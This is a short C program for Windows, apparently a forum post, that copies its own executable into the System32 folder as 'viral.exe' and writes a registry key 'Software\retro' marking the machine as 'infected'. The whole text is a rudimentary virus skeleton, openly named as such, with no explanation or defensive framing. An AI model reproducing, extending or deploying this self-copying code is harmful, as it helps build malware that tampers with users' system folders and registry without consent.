Code:

#include <windows.h> 
#include <string.h> 

char windir[MAX_PATH]; 

int APIENTRY WinMain(HINSTANCE hInstance, 
                              HINSTANCE hPrevInstance, 
                              LPSTR lpCmdLine, 
                              int nCmdShow) 
{ 

char pathname[256]; 
HKEY hKey; 


GetWindowsDirectory(windir, sizeof(windir)); 
HMODULE hMe = GetModuleHandle(NULL); 
DWORD nRet = GetModuleFileName(hMe, pathname, 256); 

strcat(windir, "\\System32\\viral.exe"); 
CopyFile(pathname,windir,0); 


unsigned char reg[10] = "infected"; 

RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey); 
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg)); 
RegCloseKey(hKey); 

}